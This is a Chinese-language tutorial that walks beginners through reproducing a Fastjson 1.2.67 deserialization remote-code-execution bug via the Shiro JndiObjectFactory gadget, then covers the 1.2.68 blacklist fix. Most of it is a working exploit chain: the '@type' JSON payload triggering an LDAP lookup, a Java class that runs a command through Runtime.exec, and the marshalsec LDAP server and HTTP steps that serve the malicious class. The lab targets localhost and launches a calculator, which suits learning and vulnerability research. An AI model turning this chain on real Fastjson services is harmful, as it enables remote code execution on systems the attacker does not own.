目前网上的资源整理不是针对入门玩家,都需要一定的java漏洞调试基础,本文从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发,拥有属于自己的一套漏洞调试环境。
0x01 Fastjson简介
Fastjson 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
https://github.com/alibaba/fastjson
0x02 环境搭建
JDK 版本:8u112
fastjson: 1.2.67
shiro: 1.5.1
slf4j-nop: 1.7.25
0x1 添加依赖包
为了快速添加项目所需要的jar包,创建Maven项目如下
![](https://img.haomeiwen.com/i48820/84e0ed44b990d533.jpg)
pom.xml
4.0.0 groupId Fastjson1.2.66_RCE 1.0-SNAPSHOT com.alibaba fastjson 1.2.67 org.apache.shiro shiro-core 1.5.1 org.slf4j slf4j-simple 1.7.25 test org.slf4j slf4j-nop 1.7.25 UTF-8 UTF-8 1.8 1.8 1.8
之后右键pom.xml 点击下载source和document
![](https://img.haomeiwen.com/i48820/2306a02f32ebde79.png)
0x2 选择JDK版本
该漏洞选择JDK 8u112
![](https://img.haomeiwen.com/i48820/067425b7dcc6acce.jpg)
0x3 编写漏洞代码
在main文件夹中添加漏洞代码,核心在于调用了fastjson.JSON的parseObject 函数
![](https://img.haomeiwen.com/i48820/8df9fc9507501f8a.png)
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class test { public static void main(String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:1389/Exploit\"}"; try { JSON.parseObject(payload); } catch (Exception e) { e.printStackTrace(); } }}
0x03 漏洞原理
0x1 FastJson 类解析
Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。
FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。
fastjson.java
package com.teddy.fastjson;import com.alibaba.fastjson.JSON;import java.io.IOException;public class fastjson { public String name; public String age; public fastjson() throws IOException { } public void setName(String test) { System.out.println("name setter called"); this.name = test; } public String getName() { System.out.println("name getter called"); return this.name; } public void setAge(String test) { System.out.println("age setter called"); this.age = test; } public String getAge(){ System.out.println("age getter called"); return this.age; } public static void main(String[] args) { Object obj = JSON.parse("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}"); System.out.println(obj); System.out.println("------------"); Object obj2 = JSON.parseObject("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}"); System.out.println(obj2); }}
result
name setter calledage setter calledcom.teddy.fastjson.fastjson@66480dd7------------name setter calledage setter calledage getter calledname getter called{"name":"thisisname","age":"thisisage"}
由结果可以看出调用parseObject 函数会调用getattr方法。
0x2 漏洞调用链分析
调用栈分析
![](https://img.haomeiwen.com/i48820/8d51b2ba30aeeb48.png)
1. parseObject 对象类型转换
这一步的操作是将obj对应的对象类型转化为json格式,这势必要方位getattr 对象方法,从而触发漏洞。
![](https://img.haomeiwen.com/i48820/2061f834fa15f52b.png)
2. 反射调用
通过invoke方法,调用getinstance方法
![](https://img.haomeiwen.com/i48820/c349acd2b1b66333.jpg)
3. 触发ldap
在JndiObjectFactory getinstance 中调用了this.lookup(resourceName)
![](https://img.haomeiwen.com/i48820/6f875e3263fe839f.jpg)
0x3 JNDI 注入
Java Name Directory Interface,Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
![](https://img.haomeiwen.com/i48820/bd3a223c91ceb994.png)
其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。
注入方法:
JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
RMI格式:ctx.lookup("rmi://localhost:9999/refObj");LDAP格式ctx.lookup("ldap://localhost:9999/refObj");
若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即可实现JNDI注入实现任意代码执行。
1 RMI
RMI(Remote Method Invocation,远程方法调用)。远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。
2 LDAP
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。
0x04 漏洞利用
0x1 编译Java 利用代码
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class ExecTest { public ExecTest() throws IOException,InterruptedException{ String cmd="/Applications/Calculator.app/Contents/MacOS/Calculator"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }}
命令行编译class文件
/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/bin/javac Exploit.java
0x2 开启 LDAP 服务
使用marshalsec启动一个ladp服务器 ,下载地址为
https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit
![](https://img.haomeiwen.com/i48820/8baafbeb900d948c.jpg)
0x3 开启HTTP Web 服务
将编译好的Exploit.class 放在web目录下并开启服务
![](https://img.haomeiwen.com/i48820/e55d1b31c833aa9a.jpg)
0x05 漏洞补丁
这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包
https://github.com/LeadroyaL/fastjson-blacklist
![](https://img.haomeiwen.com/i48820/331d698f5d1d3df8.jpg)
该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了
![](https://img.haomeiwen.com/i48820/edd6805b804398d9.jpg)
对应的具体代码如下图所示,在 public Class checkAutoType(String typeName, Class expectClass, int features) 函数中有对应处理
![](https://img.haomeiwen.com/i48820/a1c74131ba1f886e.jpg)
黑名单hash生成算法,大概思路是将每一位都异或进行异或叠加。
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
}
throw new JSONException("autoType is not support. " + typeName);
}
}
}
相关实验推荐--Java反序列漏洞
网友评论